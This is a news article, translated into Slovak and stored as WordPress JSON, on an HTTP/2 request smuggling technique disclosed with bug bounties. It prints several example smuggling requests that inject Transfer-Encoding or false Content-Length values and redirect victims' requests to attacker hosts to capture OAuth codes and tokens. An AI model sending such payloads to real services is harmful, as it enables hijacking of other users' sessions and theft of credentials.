{"id":100934,"date":"2021-08-07T16:22:34","date_gmt":"2021-08-07T14:22:35","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy"},"modified":"2026-02-09T17:18:09","modified_gmt":"2026-02-09T15:18:09","slug":"novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sk\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","title":{"rendered":"Nov\u00fd \u00fatok na syst\u00e9my frontend-backend, ktor\u00fd umo\u017e\u0148uje vnikn\u00fa\u0165 do po\u017eiadaviek.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Webov\u00e9 syst\u00e9my, kde front-end prij\u00edma spojenia cez HTTP\/2 a pren\u00e1\u0161a ich na backend cez HTTP\/1.1, sa uk\u00e1zali by\u0165 n\u00e1chyln\u00e9 na nov\u00fa variantu \u00fatoku \u201eHTTP Request Smuggling\u201c, ktor\u00fd umo\u017e\u0148uje zasahova\u0165 do obsahu po\u017eiadaviek in\u00fdch pou\u017e\u00edvate\u013eov prostredn\u00edctvom zasielania \u0161peci\u00e1lne upraven\u00fdch klientsk\u00fdch po\u017eiadaviek spracovan\u00fdch v tom istom pr\u00fade medzi front-endom a backendom. \u00datok m\u00f4\u017ee by\u0165 pou\u017eit\u00fd na vlo\u017eenie \u0161kodliv\u00e9ho JavaScript k\u00f3du do rel\u00e1cie s legit\u00edmnou str\u00e1nkou, obch\u00e1dzanie syst\u00e9mov obmedzenia pr\u00edstupu a zachyt\u00e1vanie parametrov autentifik\u00e1cie. <\/p>\n

Probl\u00e9mu s\u00fa n\u00e1chyln\u00e9 webov\u00e9 proxy, load balancery, webov\u00e9 akceler\u00e1tory, syst\u00e9my doru\u010dovania obsahu a in\u00e9 konfigur\u00e1cie, kde s\u00fa po\u017eiadavky presmerovan\u00e9 pod\u013ea sch\u00e9my front-end-backend. Autor \u0161t\u00fadie demon\u0161troval mo\u017enos\u0165 \u00fatoku na syst\u00e9my Netflix, Verizon, Bitbucket, Netlify CDN a Atlassian a z\u00edskal 56 tis\u00edc dol\u00e1rov v programoch na vypl\u00e1canie odmien za odha\u013eovanie zranite\u013enost\u00ed. Pr\u00edtomnos\u0165 probl\u00e9mu bola tie\u017e potvrden\u00e1 v produktoch F5 Networks. \u010ciasto\u010dne probl\u00e9m zasahuje mod_proxy v http serveri Apache (CVE-2021-33193), opravy sa o\u010dak\u00e1vaj\u00fa vo verzii 2.4.49 (v\u00fdvoj\u00e1ri boli o probl\u00e9me informovan\u00ed za\u010diatkom m\u00e1ja a dostali 3 mesiace na opravu). V nginx bola mo\u017enos\u0165 s\u00fa\u010dasn\u00e9ho nastavenia hlavi\u010diek \u201eContent-Length\u201c a \u201eTransfer-Encoding\u201c zablokovan\u00e1 v poslednom vydan\u00ed (1.21.1). N\u00e1stroje na vykon\u00e1vanie \u00fatokov u\u017e boli pridan\u00e9 do n\u00e1stroja Burp a s\u00fa dostupn\u00e9 vo forme roz\u0161\u00edrenia Turbo Intruder. <\/p>\n

Princip \u010dinnosti novej met\u00f3dy zasahovania do po\u017eiadaviek v prev\u00e1dzke je podobn\u00fd zranite\u013enosti, ktor\u00fa odhalil ten ist\u00fd v\u00fdskumn\u00edk pred dvoma rokmi, ale obmedzen\u00fd na front-endy akceptuj\u00face po\u017eiadavky cez HTTP\/1.1. Pripome\u0148me, \u017ee v sch\u00e9me front-end-backend prij\u00edma po\u017eiadavky klientov dodato\u010dn\u00fd uzol \u2014 front-end, ktor\u00fd vytv\u00e1ra dlhodob\u00e9 TCP spojenie s backendom, ktor\u00fd vykon\u00e1va bezprostredn\u00e9 spracovanie po\u017eiadaviek. Cez toto spolo\u010dn\u00e9 spojenie sa zvy\u010dajne pren\u00e1\u0161aj\u00fa po\u017eiadavky r\u00f4znych pou\u017e\u00edvate\u013eov, ktor\u00e9 nasleduj\u00fa po sebe v re\u0165azci s oddelen\u00edm prostriedkami protokolu HTTP. <\/p>\n

Klasick\u00fd \u00fatok \u201eHTTP Request Smuggling\u201c vych\u00e1dza z rozdielneho vyhodnocovania pou\u017eit\u00fdch HTTP hlavi\u010diek \u201eContent-Length\u201c (ur\u010duje celkov\u00fa ve\u013ekos\u0165 d\u00e1t v po\u017eiadavke) a \u201eTransfer-Encoding: chunked\u201c (umo\u017e\u0148uje pren\u00e1\u0161a\u0165 d\u00e1ta po \u010dastiach) front-endmi a back-endmi. Napr\u00edklad, ak front-end podporuje iba \u201eContent-Length\u201c a ignoruje \u201eTransfer-Encoding: chunked\u201c, \u00fato\u010dn\u00edk m\u00f4\u017ee odosla\u0165 po\u017eiadavku, v ktorej s\u00fa s\u00fa\u010dasne uveden\u00e9 hlavi\u010dky \u201eContent-Length\u201c a \u201eTransfer-Encoding: chunked\u201c, pri\u010dom ve\u013ekos\u0165 v \u201eContent-Length\u201c zodpoved\u00e1 nespr\u00e1vnemu ve\u013ekosti chunked re\u0165azca. V tomto pr\u00edpade front-end spracuje a prepo\u0161le po\u017eiadavku pod\u013ea \u201eContent-Length\u201c, zatia\u013e \u010do back-end bude o\u010dak\u00e1va\u0165 ukon\u010denie bloku na z\u00e1klade \u201eTransfer-Encoding: chunked\u201c a zvy\u0161ok po\u017eiadavky \u00fato\u010dn\u00edka sa ocitne na za\u010diatku cudzej po\u017eiadavky, ktor\u00e1 pr\u00edde po nej. <\/p>\n

Na rozdiel od textov\u00e9ho protokolu HTTP\/1.1, ktor\u00e9ho anal\u00fdza prebieha na \u00farovni riadkov, HTTP\/2 je bin\u00e1rny protokol, ktor\u00fd manipuluje s blokmi \u00fadajov vopred ur\u010den\u00e9ho ve\u013ekosti. Pri tom sa v HTTP\/2 pou\u017e\u00edvaj\u00fa pseudo-hlavi\u010dky, ktor\u00e9 zodpovedaj\u00fa be\u017en\u00fdm hlavi\u010dk\u00e1m HTTP. V pr\u00edpade interakcie s back-endom prostredn\u00edctvom protokolu HTTP\/1.1 front-end prev\u00e1dza tieto pseudo-hlavi\u010dky na zodpovedaj\u00face HTTP hlavi\u010dky HTTP\/1.1. Probl\u00e9m je v tom, \u017ee back-end rob\u00ed rozhodnutia o anal\u00fdze pr\u00fadu u\u017e na z\u00e1klade vystaven\u00fdch front-endom HTTP hlavi\u010diek, bez inform\u00e1ci\u00ed o parametroch p\u00f4vodnej \u017eiadosti. <\/p>\n

Aj v podobe pseudo-hlavi\u010diek m\u00f4\u017eu by\u0165 odoslan\u00e9 hodnoty \u201econtent-length\u201c a \u201etransfer-encoding\u201c, aj ke\u010f sa v HTTP\/2 nepou\u017e\u00edvaj\u00fa, preto\u017ee ve\u013ekos\u0165 v\u0161etk\u00fdch d\u00e1t je definovan\u00e1 v samostatnom poli. Napriek tomu, v procese premeny po\u017eiadavky HTTP\/2 na HTTP\/1.1 s\u00fa tieto hlavi\u010dky pren\u00e1\u0161an\u00e9 a m\u00f4\u017eu zmias\u0165 back-end. Dva hlavn\u00e9 varianty \u00fatoku s\u00fa vy\u010dlenen\u00e9: H2.TE a H2.CL, pri ktor\u00fdch je back-end uveden\u00fd do omylu nespr\u00e1vnou hodnotou transfer-encoding alebo content-length, ktor\u00e1 nezodpoved\u00e1 skuto\u010dnej ve\u013ekosti tela po\u017eiadavky prijatej front-endom cez protokol HTTP\/2.

\"Nov\u00fd<\/center> <\/p>\n

Ako pr\u00edklad \u00fatoku H2.CL sa uv\u00e1dza nespr\u00e1vna ve\u013ekos\u0165 v pseudo-hlavnej \u010dasti content-length pri odoslan\u00ed po\u017eiadavky HTTP\/2 na Netflix. T\u00e1to po\u017eiadavka vedie k pridaniu podobnej HTTP hlavy \u0421ontent-Length pri pr\u00edstupe k backendu cez HTTP\/1.1, ale preto\u017ee je ve\u013ekos\u0165 v \u0421ontent-Length uveden\u00e1 ako men\u0161ia, \u010das\u0165 d\u00e1t na konci sa spracov\u00e1va ako za\u010diatok nasleduj\u00facej po\u017eiadavky. <\/p>\n

Napr\u00edklad po\u017eiadavka HTTP\/2 :method\tPOST :path\t\/n :authority\twww.netflix.com content-length\t4 abcdGET \/n HTTP\/1.1 Host: 02.rs?x.netflix.com Foo: bar <\/p>\n

Vedie k odoslaniu po\u017eiadavky backendu: POST \/n HTTP\/1.1 Host: www.netflix.com Content-Length: 4 abcdGET \/n HTTP\/1.1 Host: 02.rs?x.netflix.com Foo: bar <\/p>\n

Ke\u010f\u017ee Content-Length m\u00e1 hodnotu 4, back-end prijme ako telo po\u017eiadavky iba \u201eabcd\u201c, a zvy\u0161ok \u201eGET \/n HTTP\/1.1\u2026\u201c spracuje ako za\u010diatok nasleduj\u00facej po\u017eiadavky, viazanej na in\u00e9ho pou\u017e\u00edvate\u013ea. T\u00fdm d\u00f4jde k desynchroniz\u00e1cii toku a na odpove\u010f nasleduj\u00facej po\u017eiadavky bude vr\u00e1ten\u00fd v\u00fdsledok spracovania podvodnej po\u017eiadavky. V pr\u00edpade Netflixu indik\u00e1cia extern\u00e9ho hostite\u013ea v hlavi\u010dke \u201eHost:\u201c v podvodnej po\u017eiadavke viedla k zobrazeniu odpovede \u201eLocation: https:\/\/02.rs?x.netflix.com\/n\u201c a umo\u017enila prenos \u013eubovo\u013en\u00e9ho obsahu z\u00e1kazn\u00edkovi, vr\u00e1tane vykonania vlastn\u00e9ho JavaScript k\u00f3du v kontexte webu Netflix. <\/p>\n

Druh\u00e1 varianta \u00fatoku (H2.TE) je spojen\u00e1 s vkladan\u00edm hlavi\u010dky \u201eTransfer-Encoding: chunked\u201c. Pou\u017eitie pseudo-hlavi\u010dky transfer-encoding v HTTP\/2 je \u0161pecifik\u00e1ciou zak\u00e1zan\u00e9 a po\u017eiadavky s \u0148ou musia by\u0165 pova\u017eovan\u00e9 za neplatn\u00e9. Napriek tomu niektor\u00e9 implement\u00e1cie front-endov nezoh\u013ead\u0148uj\u00fa tento po\u017eiadavok a povo\u013euj\u00fa pou\u017eitie pseudo-hlavi\u010dky transfer-encoding v HTTP\/2, ktor\u00e1 sa prev\u00e1dza na ekvivalentn\u00fa hlavi\u010dku HTTP. Pri existencii hlavi\u010dky \u201eTransfer-Encoding\u201c m\u00f4\u017ee backend pova\u017eova\u0165 t\u00fato hlavi\u010dku za prioritnej\u0161iu a vykona\u0165 anal\u00fdzu \u00fadajov po \u010dastiach v re\u017eime \u201echunked\u201c s pou\u017eit\u00edm blokov r\u00f4znej ve\u013ekosti vo form\u00e1te \u201e{ve\u013ekos\u0165}\r\n{blok}\r\n{ve\u013ekos\u0165}\r\n{blok}\r\n0\u201c, bez oh\u013eadu na p\u00f4vodn\u00e9 rozdelenie pod\u013ea celkovej ve\u013ekosti. <\/p>\n

Pr\u00edtomnos\u0165 takejto zranite\u013enosti bola demon\u0161trovan\u00e1 na pr\u00edklade spolo\u010dnosti Verizon. Probl\u00e9m sa t\u00fdkal autentifika\u010dn\u00e9ho port\u00e1lu a syst\u00e9mu spr\u00e1vy obsahu<\/a>, ktor\u00fd sa tie\u017e pou\u017e\u00edva na tak\u00fdch str\u00e1nkach ako Huffington Post a Engadget. Napr\u00edklad po\u017eiadavka klienta cez HTTP\/2: :method\tPOST :path\t\/identitfy\/XUI :authority\tid.b2b.oath.com transfer-encoding\tchunked 0 GET \/oops HTTP\/1.1 Host: psres.net Content-Length: 10 x= <\/p>\n

Viedol k odoslaniu HTTP\/1.1 po\u017eiadavky na backend: POST \/identity\/XUI HTTP\/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET \/oops HTTP\/1.1 Host: psres.net Content-Length: 10 x= <\/p>\n

Backend, na druhej strane, ignoroval hlavi\u010dku \u201eContent-Length\u201c a vykon\u00e1val rozdelenie v pr\u00fade na z\u00e1klade \u201eTransfer-Encoding: chunked\u201c. V praxi \u00fatok umo\u017enil presmerova\u0165 po\u017eiadavky pou\u017e\u00edvate\u013eov na svoju str\u00e1nku a tie\u017e zachyti\u0165 po\u017eiadavky s\u00favisiace s autentifik\u00e1ciou OAuth, ktor\u00fdch parametre sa objavili v hlavi\u010dke Referer, a simulova\u0165 rel\u00e1ciu autentifik\u00e1cie a iniciova\u0165 odoslanie syst\u00e9mu pou\u017e\u00edvate\u013ea prihlasovac\u00edch \u00fadajov na hostite\u013ea \u00fato\u010dn\u00edka. GET \/b2blanding\/show\/oops HTTP\/1.1 Host: psres.net Referer: https:\/\/id.b2b.oath.com\/?\u2026&code=secret GET \/ HTTP\/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik\u2026 <\/p>\n

Na \u00fatok na implement\u00e1cie HTTP\/2, ktor\u00e9 neumo\u017e\u0148uj\u00fa uvadenie pseudo-hlavi\u010dky transfer-encoding, bola navrhnut\u00e1 \u010fal\u0161ia met\u00f3da, ktor\u00e1 s\u00favis\u00ed s vkladan\u00edm hlavi\u010dky \u201eTransfer-Encoding\u201c prostredn\u00edctvom jej pripojenia k in\u00fdm pseudo-hlavi\u010dk\u00e1m s oddelen\u00edm znakom nov\u00e9ho riadka (pri prevode na HTTP\/1.1 sa v takomto pr\u00edpade vytvoria dve samostatn\u00e9 HTTP-hlavi\u010dky). <\/p>\n

Napr\u00edklad uveden\u00e9mu probl\u00e9mu boli vystaven\u00e9 Atlassian Jira a Netlify CDN (pou\u017e\u00edva sa na pod\u00e1vanie \u00favodnej str\u00e1nky Mozilla vo Firefoxe). Konkr\u00e9tne, po\u017eiadavka HTTP\/2 :method\tPOST :path\t\/ :authority\tstart.mozilla.org foo\tb\r\n transfer-encoding: chunked 0\r\n \r\n GET \/ HTTP\/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x= <\/p>\n

viedla k odoslaniu backendu po\u017eiadavky HTTP\/1.1 POST \/ HTTP\/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET \/ HTTP\/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x= <\/p>\n

\u010eal\u0161ou variantou nahradenia hlavi\u010dky «Transfer-Encoding» bolo pripojenie jej k n\u00e1zvu inej pseudohlavi\u010dky alebo k riadku s met\u00f3dou po\u017eiadavky. Napr\u00edklad, pri pou\u017eit\u00ed slu\u017eby Atlassian Jira n\u00e1zov pseudohlavi\u010dky «foo: bar\r\ntransfer-encoding» so hodnotou «chunked» sp\u00f4soboval pridanie HTTP hlavi\u010diek «foo: bar» a «transfer-encoding: chunked», zatia\u013e \u010do uvedenie v pseudohlavi\u010dke «:method»\tv hodnoty «GET \\\/ HTTP\\\/1.1\r\nTransfer-encoding: chunked» sa pren\u00e1\u0161alo ako «GET \\\/ HTTP\\\/1.1\r\ntransfer-encoding: chunked». <\/p>\n

V\u00fdskumn\u00edk, ktor\u00fd probl\u00e9m objavil, tie\u017e navrhol techniku tunelovania po\u017eiadaviek na vykonanie \u00fatoku na frontendy, v ktor\u00fdch pre ka\u017ed\u00fd IP adresy<\/a> S\u00e1m sa vytv\u00e1ra samostatn\u00e9 pripojenie k backendu a prev\u00e1dzka r\u00f4znych pou\u017e\u00edvate\u013eov sa nemie\u0161a. Navrhnut\u00e1 technika neumo\u017e\u0148uje zasahova\u0165 do po\u017eiadaviek in\u00fdch pou\u017e\u00edvate\u013eov, av\u0161ak umo\u017e\u0148uje zasla\u0165 spolo\u010dn\u00fa vyrovn\u00e1vaciu pam\u00e4\u0165, ktor\u00e1 ovplyv\u0148uje spracovanie in\u00fdch po\u017eiadaviek, a umo\u017e\u0148uje vykon\u00e1va\u0165 substit\u00faciu vn\u00fatorn\u00fdch HTTP hlavi\u010diek, ktor\u00e9 sa pou\u017e\u00edvaj\u00fa na prenos \u00fadajov od frontendu k backendu (napr\u00edklad pri autentifik\u00e1cii na strane frontendu m\u00f4\u017eu by\u0165 v t\u00fdchto hlavi\u010dk\u00e1ch backendu posielan\u00e9 \u00fadaje o aktu\u00e1lnom pou\u017e\u00edvate\u013eovi). Ako pr\u00edklad aplik\u00e1cie met\u00f3dy v praxi sa pomocou zasielania vyrovn\u00e1vacej pam\u00e4te podarilo z\u00edska\u0165 kontrolu nad str\u00e1nkami v slu\u017ebe Bitbucket.
\n
Zdroj: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

Web-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043f\u043e HTTP\/2 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0431\u044d\u043a\u0435\u043d\u0434\u0443 \u043f\u043e HTTP\/1.1, \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043d\u043e\u0432\u043e\u043c\u0443 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0443 \u0430\u0442\u0430\u043a\u0438 «HTTP Request Smuggling», \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0432\u043a\u043b\u0438\u043d\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u043c\u044b\u0445 \u0432 \u0442\u043e\u043c \u0436\u0435 \u043f\u043e\u0442\u043e\u043a\u0435 \u043c\u0435\u0436\u0434\u0443 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434\u043e\u043c \u0438 \u0431\u044d\u043a\u0435\u043d\u0434\u043e\u043c. \u0410\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e JavaScript-\u043a\u043e\u0434\u0430 \u0432 \u0441\u0435\u0430\u043d\u0441 \u0441 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":100935,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-100934","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Nov\u00fd \u00fatok na syst\u00e9my frontend-backend, ktor\u00fd umo\u017e\u0148uje zasahova\u0165 do po\u017eiadaviek | ProHoster","description":"Webov\u00e9 syst\u00e9my, v ktor\u00fdch frontend prij\u00edma pripojenia cez HTTP\/2 a odovzd\u00e1va backendu cez HTTP\/1.1, sa uk\u00e1zali by\u0165 n\u00e1chyln\u00e9 na nov\u00fd variant \u00fatoku \"HTTP Request Smuggling\", ktor\u00fd umo\u017e\u0148uje zasiela\u0165 \u0161peci\u00e1lne form\u00e1tovan\u00e9 po\u017eiadavky.","canonical_url":"https:\/\/prohoster.info\/sk\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"sk_SK","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041d\u043e\u0432\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434-\u0431\u044d\u043a\u0435\u043d\u0434, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u043a\u043b\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u044b | ProHoster","og:description":"Web-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043f\u043e HTTP\/2 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0431\u044d\u043a\u0435\u043d\u0434\u0443 \u043f\u043e HTTP\/1.1, \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043d\u043e\u0432\u043e\u043c\u0443 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0443 \u0430\u0442\u0430\u043a\u0438 "HTTP Request Smuggling", \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0445.","og:url":"https:\/\/prohoster.info\/sk\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-08-07T14:22:35+00:00","article:modified_time":"2026-02-09T15:18:09+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"100934","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-08-07 15:27:20","updated":"2026-02-09 15:18:09","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/posts\/100934","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/comments?post=100934"}],"version-history":[{"count":2,"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/posts\/100934\/revisions"}],"predecessor-version":[{"id":158412,"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/posts\/100934\/revisions\/158412"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/media\/100935"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/media?parent=100934"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/categories?post=100934"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/sk\/wp-json\/wp\/v2\/tags?post=100934"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}